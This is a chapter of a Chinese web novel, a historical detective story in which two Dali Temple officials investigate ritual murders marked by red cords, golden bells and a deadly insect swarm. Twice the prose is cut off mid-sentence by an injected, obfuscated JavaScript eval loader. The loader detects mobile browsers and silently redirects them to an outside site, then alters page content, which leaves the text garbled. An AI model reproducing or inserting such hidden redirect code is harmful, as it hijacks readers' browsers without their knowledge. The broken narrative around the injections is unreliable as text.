目击证人是个中年老妇,与死者是邻居,据其所言她因为年纪大了,每每睡梦时总会惊醒,就在昨夜,她迷迷糊糊睁眼时突然听到了一声声巨响。
夜逢宵禁,老妇昏昏沉沉从床上爬起来,原本只是以为老毛病又犯了,也没多想,喝了口水就打算再次睡下。
就在这时,她听见外头传来动静。
一开始她没当回事,可躺回去后连眼睛都还没来得及闭上,外头又断断续续响起声音。她一下就来火了,本就难以入眠,这隔壁还跟打鼓似的敲。
夜色里她不耐烦地打开门,叩响这家的门扉。
骂骂咧咧敲了老半天声音却始终不见停,直到她以为不会开门了,转身正想离开,身后幕的传来了吱呀吱呀的声音,一道阴恻恻的声音顺势飘到耳根子。
她当即吓得腿瞬间就软了,也不敢再说什么,逃回去紧紧锁了门。
直到第二日,那里又变得寂静无声了。她实在是压不住心里的好奇,约了个姐妹大着胆子又叩响了这家的门,奇的是,门直接就开了。
两人手挽手小心翼翼摸了进去,转半天也不见人影。
因为昨夜的声音让她特别在意厨房,到了那后,入目却是满屋子的血渍,登时,两人吓得拔腿就跑。
“我们知道的就这些了。”老妇哆哆嗦嗦说完,恐惧填满眼眶。
崔章静问她是否还有遗漏,她皱着眉半晌突然应激答道:“那声音就跟卖猪肉的王二狗剁骨头一样。”
剁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755177|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骨头?窦净梧心中冷笑,那可不,这四肢关节都剁了,那可不就跟王二狗剁骨头的声音一样嘛。
见她出神,崔章静敛眸:“窦少卿可有见解?”
窦净梧知晓他根本就没指望自己能帮忙,于是她也懒得搭理他,佯装一副恶心想吐的模样,假惺惺的故作坚强,宁要开口。
不过她最终还是没有说成,恰好让本就一点都不想听的他跟着顺坡而下。
接着,崔章静又向另一位还算冷静的老妇确认细节:“所以说你们原本只是看到血,直到带着官兵来了后才发现井里有东西,进一步查探后发现里面吊着一个人?”
他目光紧盯老妇,待其点了点头他又继续发问:“这个人当时身上缠裹满了串着金色铃铛的红绳,并且以一个极为诡异的姿势悬吊,对吗?”
老妇连连应是,恨不能赶紧离开这个是非之地。
末了,众人浪费时间来了这么一趟毫无收获,只知道这人是先溺毙而后被肢解,可凶手杀人的目的何在,又为什么将人摆成这么诡异的模样,他们一无所知。
几人走在坊巷里,暮色暗黄,路上早已没了人烟气。
眼看着崔章静脸都快变成了墨色,窦净梧却来了兴致,故意问道:“崔少卿这般成竹在胸,可是有结果了?”
旁边的衙役以狱丞沈伏为首,闻言脸色立刻全变了样,纷纷看向他黑沉沉一点就着的脸,默契地做了个吞咽的动作又不嫌事大地看向她。
窦净梧甜甜一笑,作势又要开口,前方忽然传来了道道脚步声:“镜尘。”黑暗中一个身着褐色衣袍的男子正往这款款踏来。
窦鹤章扬唇,干净利落地牵过她的手,当着众人的面将她带到了自己身边。
“镜尘,今日为何这般晚还未归?”他旁若无人地替她整理衣摆与碎发,眸光深得像是一个黑洞。
窦净梧轻推开他的手,平静道:“无防,突然死了个人忙得晚了些。”几不可闻的刹那,她眼眸里汹涌起滔天杀意。
对她而言窦鹤章不过是众多棋子中,一个普通的存在,可他竟然敢得寸进尺到这般地步。若非他还有用,她真想像那个人一样将他一刀刀剁碎。
不过,从他帮窦净梧在窦家站稳后,他的死期便开始似水流逝。
沈伏低声喃喃:“莫非是今日少卿拉着窦娘子堂而皇之地在大街上走,被哪个多嘴的人传到了窦侍郎耳中?”
“从前只听人说刑部的窦侍郎似鬼怪,也没说他护短啊。”沈伏忽然觉得自己在长安的八卦网是时候该更新了。
一个是刑部侍郎,一个又是堂堂的大理少卿,若是一会擦枪走火免不了还是他们这些做下属的遭殃。
沈伏内心戏十足地自说自话,不曾想刚回过神就对上了窦鹤章打量的目光。
他瞬间被那气场吓得一哆嗦,赶忙拉上不高兴的崔章静跑开,其他人也跟在身后,眼看此时的崔章静又准备说什么,他直接一巴掌呼上其嘴。
刹那,崔章静被他的行为惊到,双目瞪如圆球幽怨直溢瞳孔。和着,他就怕窦鹤章不怕自己呗!
窦净梧站在他们身后漠视着一切,直到窦鹤章唤她,才挤出丝丝虚伪笑容:“兄长。”
“崔章静这个人你以后还是离远些,整日与尸体打交道,脏得很!”最后三字他特意加重了音调,脸上虽扬着笑却让看者头皮发麻。
“好。”她柔声回应,俨然就是一副单纯小白兔模样。
沈伏不知,窦鹤章于她从来都不是护短,她于他只是猎物,他不容他人靠近、触碰,他觉得这是只属于他的私有物。
可就在这甜甜笑意荡开的涟漪里,一头深渊巨兽渐渐浮了上来。
6. 振翅
经由昨夜一事,大理寺中投目光向窦净梧的不免纷乱起来。
从她刚上任时的打量、猜忌与不屑,过渡到了如今的畏惧、疏远,而她仍旧如常应卯,流言于她仿佛毫无影响。
“窦少卿。”
她还没来得及坐下,门外就响起了崔章静的声音。
窦净梧有些诧异,大清早的他不去查案研究尸体,跑来这里难不成是因为昨夜的事准备算账?
他看着虽不像小肚鸡肠的人,但经过她昨天的观察来看,他心思太多,与他同处一地少不了要斗智斗勇、浪费精力。
同时,窦净梧觉得此案发生的节点实在太过巧合,仅说最近几个月,长安能摆在明面上的命案可是屈指可数。
怎的,她这才上任不到三日就出了个这般诡谲的案子,难道她真是应了崔章静的命不成?
又或是天生不祥?
反正,她最初来这的目的就是因为清闲,方便暗中推进计划,即便今时诡案频发,对她来说死一个或是两个皆不过鹅毛浮水。
她只要做好这个少卿便可。
至于躲在暗处试图利用她达成目的,只要手还未伸得太长,影响她本身的计划,她暂且也可以当作什么都不知,睁一只眼闭一只眼。
毕竟多一事不如少一事,留着精力纵情笙歌岂不更好?
“崔寺卿……”
她叉手行礼,摆出一副什么也未发生的平静神色,从容不迫的出声问:“你找我可是有何要事?”
崔章静挥手屏退了跟在身后的沈伏,沈伏顺势原本想带上门却被他回眸喝止:“青天白日地关着个门在屋里像什么话?”
沈伏悻悻瞥了他两眼有点无语,平日里这整个大理寺就数他最爱关门,生怕被人瞧见什么了不得的东西,现在……
沈伏转身冷笑,像是发掘了什么奇物,口中情不自禁地嘀咕:“崔章静你这般行径还真怪不得寺里人胡说八道,明眼人都瞧出来了,你这棵铁树是要开花结果啊!”
-
窦净梧不喜明明可以明示的事偏要假装神秘浪费时间,倒了杯茶直接就让他开门见山。
崔章静凝眸沉思,适才要说之事俶尔就如鲠在喉,只回想起昨日见她的第一面,感到莫名的亲近。
她看似知书达理,表面上和他之前所见过的女子皆无二别,但就她这一路顺风顺水成为大理寺少卿的事迹,谁人手笔一目了然。
他不信崔杉会找一个一无是处的人来监视、制衡自己,所以,他决意先发制人,看看她究竟有何特别之处。
“昨日我因意外突起对窦少卿多有冒犯,实在抱歉,往后你我共事还望大人不记小人过,莫要放在心上。”
崔章静摆出一副谦谦君子的模样,话语间滴水不漏,看似是在为昨日轻慢窦净梧之事道歉,实际上不过是借此来试探她的秉性。
窦净梧笑容可掬,本以为他能说出什么不同寻常的话,挑起她心里的那根弦。可惜,除了这别有用心的道歉外,一点有用的话都没说。
随着耐心消磨殆尽,她生硬地将话题转向了别处,至于他那些不怀好意的小心思,她根本不屑一顾。
“昨日的案子崔少卿可有进展?”她面不改色,一本正经地看着他。
崔章静脸上勾着笑,避而不答,并另起新话头:“如果我没记错,昨日之前你我素不相识,你如何能一眼认出我便是这另一位少卿的?”
见他仍不死心,窦净梧轻吁了口气,眸中厌烦一闪而逝,心不在焉道:
“你昨日穿了身白袍,初看不染尘埃是个在意仪表的人,而你的靴身处却沾满了黄泥。近日长安无雨,只万年县近郊接连下了几日暴雨,山体滑坡冲下来不少东西,据说还有好几具荒尸。”
“如此,我便大着胆子猜出了崔少卿。”
她说的轻描淡写,如同在说今日早膳用了什么般,撑着脑袋不以为然的饮茶,心里头的小算盘正越滚越大:“崔少卿可还有其他事?”
窦净梧放下手中杯,傲慢地拿起文书故意搡了他一下。
“昨天你看到了吧。”崔章静意有所指地看向她。
她面带审视地盯着他,一言不发,心中陡然便生出一丝悔意,她就不该搭理他,半点有用的都不提尽说些废话。
崔章静深知她有些恼,侧身向她靠近,正欲开口讲清楚,外头旋即传来一连串叽叽喳喳地吵声。
他面色不善的刚想喝止,声音短暂停了片刻又骤然响了起来:“快说。”他背着身侧首向外张望。
“城北芳林门的一处野地里又发现死尸了。”沈伏面色苍白地站在门口,时不时东张西望,好似有什么可怕的东西正看着他。
崔章静一眼就看穿了他的小心思,斩钉截铁道:“还有什么,赶紧说。”
“这已经是本月第四个了。”沈伏以极快的语速说完后半句,然后早有预料般转身拔腿就跑,也不管方向朝哪。
蓦地一个装满茶水的瓷杯像道闪电一样,打着旋就飞了出去,咣当一声脆响水花四溅。
“混蛋。”他气不打一处来,随即双手向外伸展后叉腰。
天子脚下顶风作案,这凶手简直欺人太甚,根本就不把大理寺和律法放在眼里。
窦净梧目空一切,手腕延伸至官服袖口溅满了茶渍,不以为然地甩了几下手后又随意掸了掸衣摆。
零星几滴水珠掉落,她站了起来。
崔章静暗暗瞟了一眼她,见准备离开,神色一下子就变了,怪异的一把便拽住了她的胳膊,义正词严道:
“你身为大理寺官员食君之禄,却总是以一副作壁上观的姿态对待所有事,莫非这便是你的为臣之道?”
“……”
窦净梧斜了他一眼,手不动声色地向下滑去,试图挣脱他的桎梏。
眼看此法毫无效果,他又意欲换其他的方式留人,但因同级又不能硬来,思来想去,他还是觉得唯有晓之以理动之以情。
“短时间内连死四人,闹得满城风雨难道你就一点也不关心吗?”他言辞恳切地说着。
窦净梧默不作声,脚下步子却逐渐放缓。
“你这一套在世人眼中或许是个好官,可在我这你最好有话直说。我因何而至此,你我心知肚明。若只是查案,这本就是我分内之事,即便是再艰险我也义不容辞,可你要是执意醉翁之意不在酒的话,烦请恕我不能作陪。”
崔章静眼看她滔滔不绝地说了一大段,面无表情,眼神却不由自主地流露钦佩。
他深知女子立世之艰,更遑论是在这尔虞我诈的朝堂。
听人说她本不是窦莒现任薛氏所生,只不过因他注重名声这才对外宣称是薛氏所生的小女儿,因自小体弱被寄养在老家,借口她如今年岁渐长,正值婚嫁之龄,所以将人接了回来。
实际上,长安人尽皆知他舍不得窦清夜出嫁,致使其年芳双十仍然待字闺中,月余前将窦净梧接回来,刚好可以让窦莒用来笼络人心联姻。
崔章静低下头轻笑一瞬,眸光径直与她凌空交汇:“你可愿与我合作?”
她比他低了大半个头不止,加上男女本身的体形差距,她附着在他身影里被遮挡的几近密不透风。
昏暗猝不及防地压下,意外裹挟着来自对方的专属气息发散在身边空气里,窦净梧答应得斩钉截铁,于心里又暗自发笑。
看来这崔杉树敌颇多,连自己亲侄子也想让他死。
“你的条件?”
崔章静看上去似乎很是意外,却又因为正值与她谈条件的时候,他试图将所有会影响结果的因素藏匿。
但他不知,窦净梧最擅长的便是观察与算计人心。
当他那一瞬的露怯发生,她就已经猜到,他其实也没有多大的底气,不论是拉拢她,还是在对付崔杉的这一点上,他都没有十足的把握。
窦净梧像是什么也没察觉一样,眼皮上下开合,神色毫无起伏地扫视他,一副睥睨天下的姿态,漫不经心开口:
“我的条件你给不了。等你真的到能眼都不眨就决定一切时,我想到时候你又会成为如今你最厌恶的人,掀翻现在对我的承诺。”
她语气是那么的轻描淡写,以至于崔章静凭空生出刹那错觉,不禁怀疑,她真的会一语成谶吗?
在这个想法于脑海漂浮的短暂时间,他就果断否决了。
“窦净梧,我会成为怎样的人只有我能决定。我既然承受过那些痛苦,又岂会不懂,因果循环,报应终将会降临。”
“有什么必要深陷漩涡呢?”崔章静语气不知何时软了下来,紧盯窦净梧的眼神如一泓清澄透明的泉水。
她目不转睛,倏然眉头一挑:“就这些?”
她方才答应他本就是抱着多一个敌人不如多一个盟友的期望,为了省事,不曾发觉他竟是这么个一本正经的,光是现在这短时间里就啰唆了个没完。
若往后依旧,窦净梧心中忽然就觉得倒不如对立来得简单,至少平日里能清静不少。
闻言,崔章静眸光一沉,惊觉他从一开始找她时就已经上了贼船,而今他还在笑呵呵地帮她数钱?
“少卿。”沈伏看着他这副略带愠怒的样子,有些不知所措的呆站着。从前他很少见过崔章静真正动气的样子,大多时候也就是骂一顿。
崔章静神思恍惚,心里像是打了个结一样。
眼看场面一度寂静,沈伏这时候很快便来了一句:“去案发现场?”他眼珠子滴溜滴溜的转,可是任凭他左看右看,两个人却始终不发一言。
当即,他斗志昂扬,直接拍板;“那便去案发现场!”
城北,芳林门外野地。
窦净梧难得的首当其冲走了上去,眼前是一片近半人高的油绿杂草丛。
因这一带环境十分特殊,艳阳高照时光与地形结合而会生出一些视觉偏差,导致当人站在草丛中的下位时便会理所当然的认定,前方那一片瑰丽风光的后头仍是坦途。
坦途之上长有一棵巨大榕树,不计其数的根须垂下,缠满了挂着金铃的红绸,朔风吹过,铃音起,万千亡灵借道。
或许在窦净梧还未进一步深入时,她的潜意识里就已产生这般相差无几的认知,但当她一心只盯着前方的榕树而忘却脚下时,空谷哀鸣,碎石沙尘从脚边跌落进由一层雾气掩盖的万丈深渊,稍不注意便是粉身碎骨。
好在,她及时回神悬崖勒马,这才幸免于难。
“怎么了?”崔章静察觉到不对劲后风风火火地就往这跑来。
窦净梧神色僵硬,站在原地纹丝不动,心下一股不祥之感油然而生,让她觉得这个案子的背后好似埋藏着一个惊天阴谋。
可是,她究竟该不该牵涉其中呢?若是影响到计划,恐怕会苦恼不已。
就在她准备远离这掩人耳目的悬崖时,身后扬起风声,有一股力先她一步将她拉了回去。
“这里除了现在的事,往常是否还发生过其他的?”窦净梧朝不远处的沈伏看去,方才还微曲的眉头瞬间舒展。
沈伏闻言侧目,与旁边人交待好事宜后,面色略显复杂的朝这靠来。
“窦少卿具体指的是?”他言语低缓,聚精会神地看着窦净梧,好像真的是她在开玩笑一样。
顷刻,窦净梧轻笑着再次向断崖边走去,掠过他时的眼神之中透着阴冷。
也不知他这是想她给一个下马威,还是说他牵涉其中,也脱不了干系,反正他是他们这几人里第一个知道消息的,绝无可能一点风声都没听到。
崔章静看着她逐渐远去的身影,默默瞥了沈伏一眼警告他,他悻悻然耸了下肩,一副恃宠而骄的模样,没有半分被训的收敛。
接着三人并排站在迎风处,窦净梧四下观察,目光直对对岸榕树上被裹缠的尸体,眼看这尸体一袭红衣,身上贴满了黄符,发丝披散在胸前遮盖了全脸,根本辨不清究竟是男是女。
“这里有路过去吗?”崔章静扬手指了一下前方,头也没回地道。
沈伏这会却突然积极了许多,连忙答道:“有。”他抬眸看向侧方不远处的一条小溪,“因为这儿的环境盛长一种野菜,时不时就会有附近小村庄的村民来这采摘。”
窦净梧面无表情地暗自思索,跟在几人身后一同过了桥。
相比于方才的那处地方,这处因为榕树近在眼前,所以只要一靠近立马就会发现咫尺之遥的地方是一道断崖。
她越过草丛走到尸体正对面。
上一具因为尸体早早就从井里捞了出来,她没能看到完整的案发现场,现在摆在眼前的这一具与整个现场合并成一幅画,仿若是一场盛大的祭祀礼。
缠红绳、悬金铃、着喜衣、制黄符——还有这四肢骨节砍断又重新用红线缝合起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755178|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,俨然就是一个被人操纵的傀儡。
她从草丛里捡来一根树杈,刚想拔开这尸体身上的衣服查看,身后忽地传来了沈伏的告诫:“窦大人,我劝你最好先预设一下。”
“……”
因着这话,她突然就来了兴致,灰暗无光的眼眸像盏荧荧鬼火亮了起来。
但闻衣服仅掀起一角,未及看清,坠在捆绑尸体红绳上的金铃便开始叮叮当当响了起来,瞬间周围人都被吸引,纷纷朝她这个方向注目。
她没管,继续挑开衣服,尸体皮肤显露眼前时她虽有迟疑,但很快便被周围狂乱作响的金铃替代。
她明显不悦地瞥向身侧:“谁又碰到绳子了?”
她挑的动作小心,仍旧免不了要牵动衣服周围的红绳才能完全看到身体,可是,这突然的轰响若说是仅她一人所为,她是绝不可能相信的。
“没有。”不知道谁突然说了这么一句,现场静得几近诡谲。
窦净梧一心扑在尸体上,闲暇间忽瞥见崔章静站在身后,刚才出声地说不准就是他。
正好,这又脏又恶心的尸体她也懒得碰,干脆让专业人士来好了。
她将手中的树杈伸到他面前:“宿闻崔少卿验尸手法比之寺中仵作犹胜,不妨让我观摩学习一番?”
崔章静脸上没什么表情,来得匆忙没戴专业的工具,前些日寺里那仵作又不知吃错了什么,请了三天假,正好就卡在这么个节骨眼上,现在,他也就只能自己先检查一下了。
他越过窦净梧,正要开始行动,余光却不经意被她的神情勾去了思绪。
上一次,她看见从井里捞上来的尸体时可是一脸嫌恶,现在怎么摆弄尸体摆弄得隐隐一脸兴奋?
他心里犹疑,究竟是他看错了,还是她本就是一个表里不一的人?相比于对前者的顾虑,他更信自己亲眼所见。
不光如此,从与窦净梧之前的那一番的对话中,他就更加笃定了这一猜测。
崔章静刚想进行下一步的动作,手里这根树杈子上蓦地落了只奇形怪状的虫子上来。
“这是……”
他诧异地盯着这虫子,眼瞅它缓慢飞到了窦净梧肩膀上,“等一下,别动!”
窦净梧被他这突如其来的吼声喊的动作一滞,冰冷的目光中尽是疑惑,待他用眼神示意,她小心翼翼的侧身,用余光去看,但见一只赤金色透明羽翼的虫子正想方设法地往她衣服里钻。
她愣了愣有些出神,深沉的目光忽然朝着金铃底下迅速瞥了一眼。
“不想死的话,赶紧让他们都停了手里的动作。”她将肩上的虫子甩落到地,快速碾死,胳膊下意识地捂住口鼻,目光深深地平视着金铃。
注目之下,那一个个金铃仿佛都赋予了生命般,一阵又一阵的叮当声如海水风起浪涌般扑来。
不消片刻,天空似是罩在了一层阴霾里,到处充斥着振翅声。
没有用了,全都苏醒了。
窦净梧拉着崔章静率先逃离了那片阴霾,有些反应快的,不知道发生了什么,看这架势也早就迷迷糊糊跟了出来。
等崔章静从这巨大的震撼中脱离出来,边逃边呼喊着让所有人撤离时,那些反应慢的都已经中了招。
不过幸好人数不多,只几个遭了映。
崔章静木讷地看着眼前,方才的青天白日到现在云雾缭绕的山野,不过须臾,天地倒转变幻,他感觉自己的世界在不知不觉中粉碎殆尽。
远远望去,对岸那些中了招的人仍旧站立在树前,保持着刚才的动作,影影绰绰间像极了田野里的一群稻草人,不禁令人毛骨悚然。
“到底怎么回事?”他害怕让人看见自己失控的样子,加之发生这么一件事人心惶惶,他果断将窦净梧拉到了一处角落。
窦净梧面无表情跟个没事人一样,淡淡道:“不知道。”
“所以,你是在怪我吗?”她最善察言观色,即便此刻崔章静的神色还算冷静,但她知道他心里肯定在埋怨自己。
说到底会发生这样的事他也只能怪他自己,不够谨慎、小心。
窦净梧又没有看到过上一个案发现场完整的样子,她怎么知道这凶手杀了人后还会故布疑阵,让后来人也藏送性命。
她最是看不惯这种人,明明是自己无能偏还要费尽心思将原因扯到他人身上,仿佛这般便能减轻自己身上的罪恶感,然后心安理得地过完后半生。
“怎么,你堂堂大理少卿粗心大意,没有早些发现端倪,现在死人了要把事情都撇到我身上吗?你忘了我才上任几天,是你,整日不务正业沉迷尸体,根本就看不见藏在暗处的线索。”
窦净梧抱臂,恶魔般倾身低语:“杀死他们的是你,不是我。”
崔章静垂眸若有所思,脑中却像是有无数个人在说话一样,又杂又乱,半晌他终于掀起眼皮看她:“你说这前几个案子是不是也会这样?”
“你的意思是?”意料之外的,他比她想象中心理素质好多了,竟在这短时间里就发现不对劲。
“去找之前那些经手过其他尸体的人。”两人几乎同时道出,目光交汇中途他们眸里的光出奇一致。
未免再有后患他们命人将现场焚毁,只留下几人守在原地以防火势失控,然后就匆匆忙忙赶回了大理寺。
屋里一下一下地翻阅声飞快响着,窦净梧坐在椅子上莫名烦躁,目光一直低垂在衣处黑不溜秋的各种污渍。
若非崔章静她也不会这么狼狈。
“找到了吗?也不过就是这几天发生的事,这么麻烦?”窦净梧喝了口茶压火,然后用她那一贯漫不经心的语气问。
崔章静没搭话,一双眼珠子都快印在那名册里去了。
不知道过了多久,她撑着脑袋在桌上昏昏欲睡,听他唤这才懒懒抬眼,也没说话,就那么一直盯着他看,直叫人头皮发麻。
端详良久,他才开口:“你先回去吧,这些人我会一个一个去问的。”
窦净梧闻言勾笑,她可就等着他这句话呢,一心扑在这些上面虽说多少有点用,但对她来说实在是太浪费时间了。
等他再开口欲说什么,眼看着不过还是一瞬前的事,她就已然不见踪影了。
大理寺门口,窦净梧褪了官服,一袭幽绿间色裙,水粉色广袖襦的袖口里一张符纸飘飘欲仙,被她眼疾手快塞了回去。